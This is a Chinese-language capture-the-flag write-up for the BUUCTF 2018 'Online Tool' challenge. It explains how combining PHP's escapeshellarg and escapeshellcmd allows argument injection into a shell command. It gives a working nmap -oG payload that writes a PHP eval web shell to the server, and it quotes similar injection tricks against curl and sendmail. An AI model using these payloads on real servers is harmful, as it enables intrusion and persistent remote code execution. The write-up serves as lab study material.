[BUUCTF 2018]Online Tool
0x00:写在前面
这题涉及几个🧀点
escapeshellarg($host);给字符串增加一对单引号,保证shell正常执行。加一对单引号的同时,对字符串内可能存在扰乱执行的符合进行转义e'->'e'\''' escapeshellcmd($host);对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。比如 '->\'
以上两个函数是本次拿shell的关键,简单来说就是函数本身单看是没问题的,但配合在一起使用就出现问题了
这里直接上代码进行测试
<?php if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); echo $host; echo "<br/>"; $host = escapeshellcmd($host); echo $host; echo "<br/>"; $a=("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); echo $a; }
上面是题目代码缩减了一下,留作本地测试用,get传入host=1时
当get传入host=1'时
那么问题就发生在这里了
'1'\\''\' 转义后分为 '1'\\'' 和\' 那么这两个中间就是我们可控的了 ,目前我们已经从单引号里面逃逸出来了,因为单引号里面默认就是字符串,执行不了。
这里引用一下别人的举例
详细分析一下: 传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。 回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最终的参数就是这样被注入的。
知识点2:nmap写shell文件
nmap -F '<?php phpinfo();?>' -oG hh.php
0x01:开始做题
题目源代码如下
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
看代码得知要通过escapeshellarg和escapeshellcmd进行绕过单引号的限制
不绕的情况如下
nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'
这里里面的写文件命令就被当做字符串了
绕过以后 才会当做命令来执行
执行我们的nmap 写shell命令
payload如下
'<?php eval($_POST["a"]);?> -oG 1.php '
有几个坑:
不加后面的' 文件就会变成1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php\'
最后面的单引号前面没有空格文件就会变成1.php\\ 所以是需要注意的地方
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php'\\'''